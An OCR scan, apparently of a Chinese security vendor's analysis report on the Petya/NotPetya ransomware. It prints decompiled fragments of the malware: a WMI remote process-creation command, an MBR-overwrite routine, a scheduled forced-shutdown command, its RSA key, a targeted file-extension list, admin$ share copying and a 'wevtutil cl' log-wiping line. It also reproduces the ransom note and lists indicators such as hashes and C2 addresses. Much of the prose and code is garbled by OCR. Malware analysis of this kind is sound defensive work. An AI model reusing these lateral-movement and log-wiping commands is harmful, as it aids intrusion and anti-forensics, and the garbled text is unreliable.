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3.1 BEEARZE
£ 3-1 ZEBITHITSC S

Trojan[Ransom]/Win32.Petya
71b6a493388e7d0b40c83ce903bcbb04
X86-32

353 KB (362,360 =7)
BinExecute/Microsoft.DLL[:X86]
2017506 H 26 H 16:49:11+01:00
=)

7c

Microsoft Visual C++

20175 06 B 27 H

38 /61

32 FEARVEHST

321 PBURERASASINE

FEAm#E G, =327 B il a BRI EsRIAR AL T LR
+ 3-2 HEXFREAHBBR

SeShutdownPrivilege KA EHHIR
SeDebugPrivilege TR Bt B HFE N ZAI R
SeTcbPrivilege S ERGNZERIR

BNk, FEALRGHRESIR, EiR €M TEE. I8 E S UENEEAN N R E %S
o EFEAEBA Z RN . Blanfli F WMI in#k.
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*d1 = ®;
v = B@;

sub_108088B78( (int)&v13);

if { *GetSystemDirectoryW(vs, 8x184%u}) )

GetLastError();

goto LABEL_18;
H
PathAppendW{v5, L wbem\\wmic.exe™);
if { tPathFileExistsW(us) )

{
LABEL_18:
*32 = B;
=5 = @;
return vf;
H
u7 = wsprintf¥{a2, L"%s Sfnode:\"Juws\" Ffuser:\"Zws\" /password:\"Zws\" ", v5, a3, a4, a5);
v8 = wsprintful(
&a2[uv?],
L"process call create W"C:wiWindowsiASystem32iirundll32.exe \AWAUC v Hndows W WBs\V0 Gy,
&ui1d)
+ ui;
sub_18006EB@(&U12);

3-2 EF WMI A& 4

[N, 23R AGHFEEE, HIBZBAE{E avp.exe. NS.exe. ccSvcHst.exe =/ NiHFE, X509 /& i 5
AR A ) 3R, R EAREAL. TS AT G ERAERS, BEATAH R HIBT: #5 fF1E NS.exe 8L
ccSveHst.exe 2, WIAPAT IR HIEEAE ;. #A71E avp.exe SEFERT, AL MBR.

322 {EMI MBR

FERLENE G BB BHBREE 7 X R HI1T N. 18T DevicelOControl K3k EUEL ZE B G, My
W5 N R RE BRI,

int HodifyMBR()
{

HANDLE vB; // edi@1

HLOCAL vi1; // ebxz@3

int result; /7 eax@7

DWORD BytesReturned; // [sp+Ch] [bp-1Ch]@2
char OutBuffer; // [sp+18h] [bp-18h]E2
LONG 1DistanceToMove; f/ [Ssp+24h] [bp-4h]@3

vl = CreateFileA{"\\\\.A\C:", 0x40000000u, 3u, 6, 3u, 6, 8);
if ( uo 3

if { DeviceloControl{vd, IOCTL_DISK_GET_DRIVE_GEOMETRY, 8, @, &0utBuffer, 8x18u, &BytesReturned, @) )

u1 = LocalAlloc(@, 18 = 1DistanceToMove);
if (vl )
{

SetFilePointer{vd, 1DistanceToMove, @, @);
WriteFile{v@, v1, lDistanceTolove, &BytesReturned, 8);
LocalFree{vi);

21 3

22 3

23 CloseHandle{uB};

24 3

25| 1if ( t{process_status & 8) || (result = write_mbi{}) = H=)
26 result = wisit_physical_drive();

27| return result;

283
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do
{

BRI ESR=5E1 "©BM" (PETYA)BSZ SRS

MR 4G MBR N 28 288 F 8k 0x7 %8, {RA731 0x4400 £ B Ab .

=#{&u23 + uay "= Fu

+

?

+uh;

while { vd < Bx268H )

B G I MBR A 5T

B SRS — B A I RT 0x20 AN,

MEMORY :7C21

MEMORY :7C2A jnz
MEMODRY :7C2A
MEMORY :¥C2C mov
MEMORY z7C38 jmp
MEMORY :7C38

MEMORY :¥C21 call
MEHORY - 7C21

MEMORY z7C24 dec
MEMORY :7C26 cmp

loc_7C21:

loc_7C38
eax
eax, A

short loc_7C21

eax, dword_ 888

/1 JRIEHBRIITANE

3-4 MEFFEIBA MBR

FIWr e 7 SN -

far ptr dword_B8088

CODE XREF: MEMORY:7C2ALj
Call Procedure

Decrement by 1
Compare Two Operands
Jump if Hot Zero (ZF=8)

; o

B 3-5 EBEEET 20 FET

SRJE BECAT 16 NHLEL R B X ARSI 75 /& NTFS U R 48

" MEWORY:8B99 db 0
MEHORY :8B9A ;

MEHORY :3BOE push

MEHORY :3BA2 mou

HEHORY
HEMORY
HMEMORY
-~ -+ HEHORY
——  HEMORY
..... HMEMORY
HEMORY

MEHORY :8B9A loc_8BOA:
HEHORY :8B9A enter 8, @

es
HEHORY :8B9F mov d1, [bp+4]
an, &

MEMORY :8BA% int 13h

HEHORY :3BA6 mou fbp-81. an

:BBB7
:BBBY
:BBB7
-BBB7
:BBBA
:8BBE
:BBBE

loc_

inc
cnp
jb

; CODE XREF: WEMORY:8AADTp
; Hake Stack Frame for Procedure Parameters

; DISK - DISK - GET CURRENT DRIVE PARAMETERS (XT,AT,XT286,CONV,PS)

3 DL = drive number
; Return: CF set on error, AN = status code, BL = driue type EIP AABE8BAG .~ HEMORY:8BAS
5 DL = nunber of consecutive drives
; DH = maxinum value for head nunmber, ES:DI -> drive parameter

8B87:

byte ptr
byte ptr
loc_8AA3

SRRt Y CHKDSK IH i .

OZXIRINERE , IDTHRAEE,

~||[EAX 00640000 v HEMORY:40008
ECX 0000FEFF v HEHORY :FEFF
EDX 0080FEO1 v, HEHORY :FED1
EBX 00007BFO v, HENORY : 7BF 0
ESP 00007748 v HEMORY 17748
EBP 00007752 HEMORY:7752
ESI 00007B78 w HEHORY:7B78
EDI 880808 v HEHORY: 0060

EFC 00800216

B 3-6 B ERR

[bp-2]
[bp-2], 0

CODE $REF: HEMORY:8ABSTj
MEMORY :1oc_8RECT]
Increment by 1

Compare Two Operands
Jump if Below ({CF=7)

3-7 FIET R RS

LN
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MEHORY
MEHORY
MEHORY

HEHMORY
HEHMORY
HEHMORY
HEHORY
HEHMORY
HEHMORY
HEHMORY
HEHMORY
HEHMORY
HEHMORY
HEHORY
HEHMORY
HEHMORY
** MEMORY
HEHMORY
HEHMORY
. MEHORY
HEHORY
HEHMORY
HEHMORY
HEHMORY
HEHMORY

:B5E6 jmp
:BSEG
B5ER ;
:BGES
:BGE8 loc_85E8:
:85E8 mov
:85ER push
:85EC call
:BSEC
:BSEF pop
:B5EF
:BGFA
:85F8 loc_85F@8:
:B5FA lodsh
:85F1 mov
:BSF4 or
:85F6 jnz
:B5F6

:B5F8 pop
:85F9 leave
:B5FA retn
:BSFA
[UNENOWN O000SSEF: MEMORY:S5EF (Synchronized with EIF)

:BSDE loc_85DE:
:85DE enter
:85E2 push
MEMORY =

2,8
si

si, [bp+4]
short loc_85F@

85E3 mov

BRI ESR=5E1 "©BM" (PETYA)BSZ SRS

; CODE %REF: MEMORY:81227p

Make Stack Frame for Procedure Parameters

Jump

al, [bp-1]
ax
urite_console

bx

[bp-11, al
al, al
short loc 8SES

si

CODE XREF: HMEHMORY :85F6 )]

Call Procedure

CODE XREF: MEMBRV:ESEﬁTj
Load String

Logical Inclusive OR

Jump if Mot Zero (2ZF=8)

High Level Procedure Exit
Return Hear from Procedure

(] Hex View—t

9ABE B2 EB DF S5C C9 C3 AC 9 FA 31 CO BE DB AB DB EB  ..."..... [ ~|673R
9090 ES BY 33 44 87 CO 68 B6 BY 26 99 C7 GE 6D OB 00 30..h. Bl 673E
9nA0 B2 @1 B4 BF 07 BA B8 @5 B9 OC 03 B6 30 31 32 33 ... _..__.. 0123 6742
9ABD 34 35 36 37 38 39 61 62 63 64 65 66 @0 8@ 6D OA AS6F8%abcdef. ... 6746
onco EIE 20 52 65 78 61 69 72 69 6E 67 20 66 69 6C 65 . Repairing Ffile 6740
9ADE 28 F3 79 73 74 65 6D 28 6F 6E 28 43 30 28 80 A system on £t ... 674E
& 3-8 £/rfhiEH CHKDSK Ef
N N \ N
BB S AL B ) MFT 123K .
e emm e e ——r -r -
HEMORY :8D68 sub bh, b ; Integer Subtraction
MEMORY :8D6A shl bx, 3 ; Shift Logical Left
MEMORY :8D6D mou cl, [bx+si]
MEMORY :8D6F push cx
MEMORY :8D78 mow [bp- 1, ax
MEMORY :8D74 mow [bp- 1, bx
HMEMORY :8D78& call sector_rw ; Call Procedure
MEMORY :BD7 8
EE— |MEroRY:8D78 add spyjoch : Add
MEMORY :8D7E mow al, [bp+ 1
MEMORY :8D81 push ax
MEMORY :8D82 push di
MEMORY :8D83 push large dword ptr [bp+6]
MEMORY :8D87 lea ax, [bp-8ah] ; Load Effective nddress
MEMORY :8D8A push ax
MEMORY :8D8E push large dword ptr [bp- 1
MEMORY :8D298 mow al, [bp- 1
HEMORY :8D%94 sub ah, ah ; Integer Subtraction
HMEHORY :BD?6 push
MEMORY :8D98 push ax
MEMORY :8D99 pop eax
MEMORY :8D9B pop ecx
HMEHORY :8D9D mul BCy ; Unsigned HultiplicarionsSiotis sy=nX
UNENOWN 00008D94: MEMORY:SD94 (Synchronized with EIF)
@ Hex View—l
6290 EC 62 DC 62 AA 62 AR 62 AA 55 B9 B0 88 A5 58 A .b.b.b.b.UN.EH.P.
G2ff C8 62 @@ @0 60 88 61 E4 ©0 FO 00 60 60 60 39 BC .b...H........ 0.
G2BA B0 B8 46 B2 ¥8 FB 52 9C 83 08 68 A6 42 B1 F4 62 ..F.x{R..... B..b
62CA 96 8C BA 62 DC 62 3F 60 B0 08 60 60 08 68 81 88 .. Eb.b¥.........
62DA 88 68 18 a8 61 EE GC 63 980 80 3F B0 80 68 B8 B ....... BooTooooo
62EA @B BB 3F B0 B0 68 08 60 68 08 36 67 FB 8D 8O A6 ..7....... 6g{.0.
G2FA @C 63 3F @@ 68 68 61 60 60 00 1F A0 A0 BA BA BA .c?.............
630A BC 67 EB 52 98 4E 54 46 53 28 28 20 28 68 82 88 .g.R.HTFS ....
6317 B0 B0 68 B0 60 68 B0 FE 60 08 3F 6860 FF 68 3F 88 .......... 7.
6320 B0 B0 68 B0 B0 68 BA A0 8O AA DB A6 3F 81 688 A . ..... oo oo® oo
G337 GO 0O B0 B0 BC 69 08 60 68 68 6D FA 13 BB @B B .......... | PR
G347 88 60 F6 B0 60 68 81 68 80 88 C3 20 F5 8B 39 F5 ...........: aa®o
6350 8@ 96 68 B0 60 68 FA 33 CO BE DB BC 88 7C FB BR ....... flocooo |--
636A CA B7 BE D8 ER 16 AA BE 80 6D BE CO 33 DB C6 B6 ............ 3...

3-9 BN X B (N TFS X)
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k=t

HEMORY -987C
HEMORY =9 87C
HEMORY :987C
- [HEHMORY :9881
HEHORY =9 881
HEHORY -9 885
- [HEHMORY :988A
HEHORY -9 88A
HEHORY -9 B88E
HEHORY :90893
HEHORY :90893
HEHORY = 90897
- [HEHMORY :989C
HEHORY -9 089C

cmp_file:

cmp byte ptr

jnz loc_9119

cmp byte ptr

jnz loc_9119

cmp byte ptr

jnz loc_9119

cmp byte ptr

jnz short lok 9119

[bp- 0], b

[bp-62Fh], 49h

[bp-62ER], 4Ch

[bp-62Dh], 45h

BRI ESR=5E1 "©BM" (PETYA)BSZ SRS

Er

pe

0w

Er

CODE XREF : MEMUR?:QE29?j
Compare Two Operands
Jump if Mot Zero (Z2F=8)

Tuwo
Hot

Compare
Jump if

Operands
Zero (ZF=8)

Tuwo
Hot

Compare
Jump if

Operands
Zero (ZF=8)

Tuwo
Hot

Compare
Jump if

Operands
Zero (ZF=8)

; Load Effective Address

; Call Procedure

Add
Increment by 1

;: Load Effective Address

Call Procedure

CODE XREF: MEMORY:918BLj
Compare Two Dperands
Jump if Hot Below {CF=8)

Logical Compare
Jump if Hot Zero (2F=8)

HEMORY :989E mov ax, [bp-61Ch]
HEMORY :98A2 mov [bp-18h], ax
HEMORY :9B8A5 mov word ptr [bp-16h], @
HEMORY :98AA mov eax, [bp-618h]
HEMORY :9B8AF mov [bp-28h], eax
HEMORY :98B3 mov dword ptr [bp-1Ch], 6
HEMORY :98B3
3-10 §1% MFT 2%
NENIURY 27 145 puLil £
HMEHMORY : 914D push large dword ptr [bp-8aL42h]
MEMORY : 2152 1ea ax, [bp-636h]
MEMORY : 9156 push ax
MEMORY : 9157 mov al, [bp+4]
MEMORY :215A push ax
HMEHMORY :915B call sector_ruw
MEMORY :915B
HEMORY :215E mou bx, [bp+i18h]
MEMORY : 2161 add sp, BCh
HEHMORY : 9164 inc dword ptr [bx]
MEMORY : 9167 mov eax, [bx]
MEMORY :916A mov [bp-238h], eax
MEMORY :216F push 1
MEMORY : 2171 push 1
MEMORY : 2173 push 3}
MEMORY : 2175 push 23h ; "W
MEMORY : 2177 lea ax, [bp-236h]
MEMORY :217B push ax
MEHORY :917C mov al, [bp+4]
MEMORY :917F push ax
=+ |HEMORY:9188 call sector_ruw
3-11 MERETIRIFE L
HEIFRERE .
i MEMORY :8FE1 loc_B8FE1:
@l —— |HEMORY :8FE1 mou eax, [bp+ (1]
: HEHORY :8FE5 mou dx, [bp+0iCh]
1 MEMORY :8FE8 cmp [bp-24h], eax
L 1__ % |MEMORY:8FEC jnb loc_9381
0 MEMORY - BFEC
: HMEHORY :8FF @ test byte ptr [bp-24h], 3Fh
: - - |MEMORY :8FF4 jnz short loc_9885
1 ! MEMORY :BFF4
"| | * |MEMORY:8FF6 push  dx
! \ " [HEMORY :8FF7 push ax
1 1 MEMORY :8FF8 push large dword ptr [bp-24h]
. : MEMORY :8FFC push word ptr [bp+1ER]
) ! ﬂEﬂEEE:?EEE call show_percentage

OZXIRINERE , IDTHRAEE,

Call Procedure
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Repairing file system on C:

The type of the file system is NTFS.

One of your dizks contains errors and needs to be repaired. This process
May take several hours to complete. It is strowngly recommended to let it
coMplete.

WARNINMG: DO NOT TURN OFF YOUR PCY IF YOU ABORT THIS PROCESS, YOU COULD
DESTROY ALL OF YOUR DATA* PLEASE ENSURE THAT YOUR POWER CABLE IS PLUGGED
INt

CHRDSK is repairing sector 39184 of 72888 (54%)

3-13 {HiEHY CHKDSK F

HEMORY : 8684 show percentage: ; CODE XREF: HMEMORY :8FFFLp
HEMORY :8684 push bp

HEMORY : 8685 mou bp, sp

HMEHORY :B687 push 9FDBh HERAY

HMEHMORY :B68A call sub_85DE
HEHMORY :B68A
HEMORY : 868D pop bx
HEHORY :B68E push word ptr [bp+4] ; GHEDSK is repairing sector (etc.)
HMEHMORY :8691 call sub_85DE
HEHMORY : 8691
HEHORY :8694 pop bx
HEHMORY : 8695 push 9FDDh 5 @™
HMEHMORY :8698 call sub_85DE
HEHMORY : 8698
HEHORY :869B pop bx
=" |HEHORY :869C push large dword ptr [bp+ ]
HMEHMORY :86A8 call loc_8SFC
HEHMORY :86R8
HEHORY :86A3 mov sp, bp
MEMORY :86A5 push 9FDFh ;" of "
MEMORY :86RA8 call sub_85DE
MEMORY :86R8
HEMORY :86AB pop bx
HMEMORY :86AC push large dword ptr [bp+ 1
HMEMORY :86B8 call loc_85SFC
HMEHMORY :86B8
HMEMORY :86B3 mou sp, bp
HMEMORY :86B5 push 9FE4h IR
HMEMORY :86B8 call sub_85DE
HMEMORY :B6B8

MEMORY :86BE pop bx

MEMORY :86BC mou eax, [bp+i]

MEMORY :86CH mou BCX,

MEMORY :86C6 mul BCX

MEMORY :86C9 xor edx, edx

HEMORY :86CC div dword ptr [bp+ 1

HEMORY :86D8 push eax

HEHORY :86D2 call loc_8SFC

HEHORY :B6D2

HEMORY :86D5 mou sp, bp

HMEHORY :B6D7 push 9FE?h Hl 9]

3-14 {hi&HY CHKDSK AR E RIS
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FEACFINE e, RVBFE BI85 S0, FFEEM S Key. R I Key J& SR i A
S

Ooops, your important files are encrypted.

If you see this text, then pour files are no longer accessible, because they
have been encrypted. Perhaps you are busy looking for a way to recover your
files, but don't waste your time. Hobody can recover your files without our
decryption service.

He guarantee that you can recover all your files safely and easily. A1l you
need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send %368 worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1178MG5dzaAtNbBHX

Send your Bitcoin wallet ID and personal installatiom key to e-mail
WonusMithl23d456@posteon. net. Your personal installation key:

s

Ru jz47-GBAZoP-EXkt3L-cEyJ69-eALSNU-63nbhz-TkQuF6-aGLuMH-Ms Ty G T8) M 65 5

N

If you already purchased your key, please enter it belowm.
Key:

B 3-15 mERNMRERE

323 itkESENE

FEAZRE “RHL” X8R, Dhan A7 005 sC BT RIME S5 P o AR G AE — B 18] Ja s i Kb Lo
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* BRI ESR=5E1 "©BM" (PETYA)BSZ SRS

int schtasks()
4
int vl; /7 ebx@d
unsigned int v1; // eax@1
unsigned int v2; // esi@3
unsigned int v3; // edi@3
const wchar_t =ul; j/ eax@6
UCHAR vé; // [sp+Ch] [bp-E28h]@E
__int16 v7; /7 [sp+80Ah] [bp-62RR]E10
UCHAR Buffer; // [sp+80Ch] [bp-628h]@32
struct _SYSTEMTIME SystemTime; // [sp+E24h] [bp-18h]@1
vl = B;
GetLocalTime{&SystemTime};
vl = get_timestamp()};
if ( vl < BxA )
vl = 18;
u2 = (vl + 3) % Bx3C + SystenmTime.wMinute;
u3 = ({u1 + 3) / Bx3C + SystemTime.wHour) % 0x18;
if { GetSystemDirectoryW{&Buffer, B8x30Cu) && PathAppendW({&Buffer, L"shutdown.exe /jr /f") )
4
if { sub_10088494() )
ul = L"/RU \"SYSTEHA" ™5
if { t{privilege & 4) )
vl = (const wchar_t =)&unk_1881438%;
usprintfUW{&ué, L"schtasks %ws/Create /SC once FTH \"\" /TR \"%us\" /ST %02d:%02d", vi, &Buffer, v3, v2);
else
¢ _—
wsprintfU(&us, L at %02d:%02d Jus", v3, v2,[BR0¢ 8= *
ANTIY
vy = B;
uB = sub_100883BD(0);
H
return vi;
H

3-16 AINITXIEF AR

324 =z

A T R BN R AT N o BT 0 N5 5329 RSA+AES(Microsoft Enhanced RSA and

AES Crypto

IRk

2
18
1
12
13
14
15
16
17
18
19
28
21
22
23
24
25
26
27
28
29
ELi]
ER
32
33
34
35
36
a7
a8
39

graphic Provider).
N N o
HI A YIRS g AERE
uB = GetlLogicalDrives();
vl = 813
do
{
result = 1 << vi;
if { (1 << w1} & vi )
{
RootPathHame[8] = vl + 65;
RootPathHame[1] = 58;
ulL = 092;
result = GetDriveTypeW{RootPathHame);
if { result == 3 )
result = (signed int)LocalAlloc{Bx4Bu, B8x28u);
if { result )
*{_DWORD *)}{result + 16) = L"HIIBCQKCAQEAXP/UqKcOyLe9JhUqFHMQGWUITO6WPXWNKSHQAYTB065CHBPJIQInTeHkEE FO2n2 JnURWU U™
"HBB2Zr10/wcYJBuLh0?EqJ3iDgmH19007NtyYyEUNbY mopcq+YLIBZ2Zz022TKOAZD EXUGRKXEEFLCY7uP12EYD™
"PRENVY S +mF BJFWixz290iTFSoLu15wULONCUEibGaNNpgq+CXsPuF ITDLDDPmdrRIIVEV w6 03ptSpHOSKFO™
"JbHan2TZubzfhzuts7KafPSUAS/ BHMFSK3/FOHFISEGBEZ jK+cTiF1KeUndP BXFRCYXIPAIYCealu7 CRF 6"
“UBAUVNNNjuLeOn42L HFUKL 06 JuwIDAQAB" ;
*( DUORD =)(resull + 28) = B;
*(_DWORD *)result = *{ DUORD x)RootPathMame;
*(_DUWORD #)({result + 4) = uh; ity
result = {signed int)CreateThread(®, 8, StartAddress, (LPUOID}refilt, o, H *
} ANTIY
H
H
--ul;
H
while ( v1 >= 8 );
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B C:\Windows H 3% T4k, BT EF N I FTAT OISR o, ploin s (K0P R T s

L".3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.
"gz.h.hdd.kdbx.mail.mndb.msg.nrg.ora.ost.ova.ovf.pdf.php.pnf.ppt.pptx.pst pui- p_rrﬂ;.*ar -Ftf.sln.s"
"ql.tar.uhox.uhs.ucb.udi.uFd.umc.omdk.umsd.umx.usdx.usu.wnrk.xls.xlsx.xué.zﬁﬁn!;z

B 3-18 #HMFBAISCHRN
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FEAR SR B AR e 75 93A NT RGUH IS5 & alidsds iR 55 45 -

[

7 um = B

8| bufptr = B;

9| if { tHetServerGetInFo{@, Bx65u, &bufptr) ) // Bx65: Return the server name, type, and associated software.

18

11 Ul = ®={{_DUORD *}bufptr + 43;

12 if  (unsigned _ int16)u1 & {unsigned _ int16)SU_TYPE_SERUER_NT || u1 & @x18 )// @x18: SU_TYPE_DOMAIN_BAKCTRL | SU_TYPE_DOMAIN_CTRL

13 vl = 1; ) *
a3 o 5

15| if  bufptr )

16 HetApiBufferFree{bufptr);
17| return vd;
18y

B 3-19 BT R & —RIBIER SR
WARSE, WA DHCP 1~ R N B (1 Uk I A7 it 1 Jm SRt B

43| GetComputerMameExW({ComputerNamePhysicalMetBI0S, &Buffer, &nSize);

44| if ( tDhcpEnumSubnets{&Buffer, &ResumeHandle, Ox480u, &EnumInfo, &ElementsRead, &ElementsTotal) )
45

L] vis = Enuminfo->HumElements;

47 if (vl > 0 )

g {

49 do

5e {

21 if { *DhcpGetSubnetInfo{®, Enuminfo->Elements[u1], &SubnetInfo)

52 && Subnetinfo->SubnetState == DhcpSubnetEnabled

53 && *DhcpEnumSubnetClients{®, EnumInfo->Elements[vi1], &vu18, 8x18880u, &ClientInfo, &ClientsRead, &ClientsTotal) )
5y {

1 u3d = ClientInfo->HumElements;

Sé vid = uvi;

57 if ( v3 && v2 { vi )

58 £

59 do

68 {

61 vy = ClientInfo->Clients[u2];

62 if ( vh )

63 {

64 u5 = ntohl{v4->ClientIpAddress);

65 if ( sub_16888A3D9(u5) )

a6 {

67 ut = ntohl{v4->ClientIpAddress);

68 v7 = inet_ntoa{({struct in_addr)us);

69 v = (char *)sub_18886916(v7);

7a ue = yg;

71 if { ve )

72 { ——
73 sub_10006FC7{ve, B, (struct RTL_CRITICAL SECTION =}aiy; E f
Th u18 = GetProcessHeap();

75 HeapFree{v18, 8, u9);

& 3-20 #% DHCP FRIAIE &9t
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36| Hame = B;

37| wsprintfW{&Hame, L"\\\\%s\iadmin$™, al);

38| HetHesource.dwScope = B;

39 memset{&HetHesource.dwType, @, 8x1Cu);

48| HetResource.lpRemoteHame = &Hame;

41| HetResource.dwType = 1;

42| sub_18808B708({({int)&uZ3});

43| wsprintfW{&FileHame, L™%\\i%Bwsihiadmindiiwiws™, al, &u23);
44| while { 1)

o &

L pszPath = @;

L7 ull = uk;

48 v18 = WHetAddConnection2W({&MetResource, lpPassword, lpUserHame, 8);
9 wsprintfW{&pszPath, L"vWWARws\iadmindyviiuws™, al, &u23);
ca v5 = PathFindExtensionW{&pszFath);

c1 if [ us )

L2 {

L3 *)5 = @;

oy if { PathFileExistsW{&pszPath) )

Lo {

Ch v13 = 1; i
57 goto LABEL 58;

L8 1

L9 dwErrCode = GetLastError();

6a 2

61 uh = B;

3-21 BH ARG H B TERMSRV (%R

~

TR, W e FARREA, FERIH BEIE A ¥ PsExec HEFEHAT rundlI32 WA FEANE, X RIMHL

326 HEiBkR

ZAEAME T Windows H ) wevtutil TTHBEAT HEFRLAE. AT TR,

siccpluBBey s ooy,
usprintfu(
&u13,
L"wevtutil cl Setup & wevtutil cl System & weuvtutil cl Security & wevtutil cl Application & fsutil usn deléte jrgrmaTysD %c:™,
pszPath);
v - As
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HI T 0Lk “n” (Petya) SZREAALTNE AL RRIEIL ML 38, Iy DUSCEAG 40 B @B A
W BEAR TR, WS 204 F s ORI AN B BRI M, 520 R
2. HORTERAIERGANT (NS)

https://technet. microsoft. com/en—us/library/security/ms17-010. aspx
3. B Microsoft Office/WordPad At ATAUALINIH (CVE-2017-0199) #pT

https://technet. microsoft. com/zh—cn/office/mt465751. aspx
4. AR WMI RS

B AE )79 https://zhidao. baidu. com/question/91063891. html
5. B ARG 4

WERAE RGAFIE S A 555 A TE L, 15 KR A S SCh R B 4
6. A

ZRIFRIIBER (WannCry) % TH, FF5F IR B 598 2.

TEHhEE: http://www. antiy. com/tools. html
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Lo WEE BN, @B ARG, R T S5 WNT RSS R e TR EAT Sk
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R, FERRBATFRBEOVERI . R SBOHREN ARG ARENILE KR GRS, HRTANE SR H
(K1, FLFERERT DAy — R R B . N B X, DR T R A6 R R A A B A, PRI R
A THTS, ATBRIER SE o i e M — BEAR O BOR S R, SRR AT AR A AT &
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ZRAE 2016 SEFERBUMEAREIT, X T i AR IR D B R PR D7, W HES
R RS T A, T “ i (Petya) FIAR & FBALRERGLH - PF S, 0 dBFEEA 2 N8
Wk, M PRI T30, AT RS R HE AL Wannacry $F HUX Al 4l 1 i 7 sUE = E KA R . =
[l A A MR A, “ ™ (Petya) PP 0IFAERE ODAY i, LA WAR IDAY i, MR IH K
T, HeAt AL HE 7 A2 R I SR ALGS 11&/725 1 A SX RS A R E B 1) e X 26 [ P I Y, 2R 498 SR i [ A
UNNIE NI/ B S e D R RE

A AU B W A SN T ) B RN . R R A RS B33 R4, XA B AR G ) Lol 2
APT b AT B, (Hit T APT BGh MR, (2 FRMUMBGE AR, FHBOH A BERE N N % 427k
B mEhFmas, RFEMFRAERR, RN AFE R 242 XK. A Wannery £
“on” (Petya), FORVEZAE B RGP IO 16 90 42 1 7 5 Lok

T IR T, 5 H S AIm R A S I RE A B, AN WA 2 kil TARR R AL HBRAS
RESE 2 5L T OMEMANL . Bodf k2L R A, A Z0AL AL TR AT REMIBT S T RIR, KRR
TR T R /0
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Yasidr, SEOLARAR AT AR 977, TR, AR R B BRIt PR PR A S AR .
R EH IS ME B L EMTUENE, W AH R e L RE AL . B AR Z DA
B, BTSRRI T B AR Bt TN (L

2015 fFie, ZRIBEIMBRBAT TR — T T EUF MR, DRSS HOR U & 5T R 1) )
Wr, FEZ& o B AR P SN T AT RN ORISR SRR, R 2016 4F 10 A HE HIAR
A, TEATHG R R OL T, A B2 Wannery 558 X B R BAFRIINEAT Jy . R I7= S i
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[1] {New ransomware, old techniques: Petya adds worm capabilities )
https://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/

2] BR=BIRAEZWEEMHEZEIITRS
http://www.antiy.com/response/A_Comprehensive_Analysis_Report_on_Ukraine_Power_Grid_Outage/A_Comprehensive_Ana

lysis_Report_on_Ukraine_Power_Grid_Outage.html

Bl &KX : 2016 FNELZ LR SEE

http://www.antiy.com/response/2016 Antiy Annual Security Report.html
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LRFETET B IS BOR KT R o 2R AR TH I ROXT R 2% BH A% Lo BE T o8 FH P oxt
B A A A i, RS B 2 St U G 5] 55 R AR R AN L X IR, DA SR i i
P NI REE T BUDME RIS F B ARG . RIS RS RS .

RGN AR ERE A e R 1T ] SR R RN RE /S ARk R, ORI RO 5 51 545
POy AR 177 6 W28 B M 28 2 i # . IE/NMGER AR B 2 2B 2RI 5] 32 2B A
SRAF AV-TEST 4RSI A [ 7

BRBARSENRENTWE BN 2P MKHERGIART, 2R S DY fam W 1B [ 2R 4 22 4 o 2 SCHE AT
B, e EERE B R AR E AN K B H R .

2 RS2 E 2 R AR R T B AL R, EA AR, DR, BN Bve. Wl R
BERZAEFEEF, REM TR IE . RED T EARSIIRRTT %,

LRI FFE G 171 - http://www.antiy.com (F7X)

http://www.antiy.net (F£X")

BREM TP A (G E ) - http://www.antiy.cn
ZHABHZELE (AVLTEAM ) BZSEIEIIH - http://www.avlsec.com
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MR= : 58 (85U ) BEFESIIER

FEERE I 2 7 B IS R AT DL N AT SR TR AR SR E A S S IR AR, B FEAAFAEAL 3R B
LR HAMAT RS PTG T — T ARGk Z I BOIE SR HIIE O N ok A RO g I00T, - Pk B B
SN et VY EPSEPSY /RN UNE

4F3B.tm_ EXE 7e37ab34ecdcc3e77e24522ddfd4852d
DLL 71b6a493388e7d0b40c83ce903bc6b04
dilhost.dat DLL aeee996fd3484f28e5cd85fe26b6bdcd
svchost.exe EXE d2ec63b63e88ece47fhaablca22dalef
(2)5322017. o KT 415fe69bf32634ca98fa07633f4118e1
myguy.xIs XLSX 0487382a4daf8ebh9660f1c67e30f8b25

SEMR A 2420 (C2) RS54 1P

185.165.29.78
84.200.16.242
111.90.139.247
95.141.115.108

HHIF C2 % 3 EAEIR IR ek

® 185.165.29.78

B al09a63bc5e316701f117d838522dec433f74bee

B bec678164cedea578a7aff4589018fad1551c27f

B d5bf3f100e7dbcc434d7c58ebf64052329a60fc2

B aba7aa41057¢8a6b184ba5776c20f7e¢8fc97c657

B 0ff07caedad54c9b65e5873ac2d81b3126754aac

B 51eafbb626103765d3aedfd098b94d0e77de1196

B 078de2dc59¢ce591503¢c63bd6111ef8353dc7ef5f

® §84.200.16.242
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B 7ca37b86f4acc702f108449c391dd2485b5cal8c

B 2bcl182f04b935¢7e358ed9c9e6df09ac6afd7168

B 1b83c00143albb2bf16b46c01f36d53fb66182b5

| 82920a2ad0138a2a8efc744ae5849c6dde6b435d
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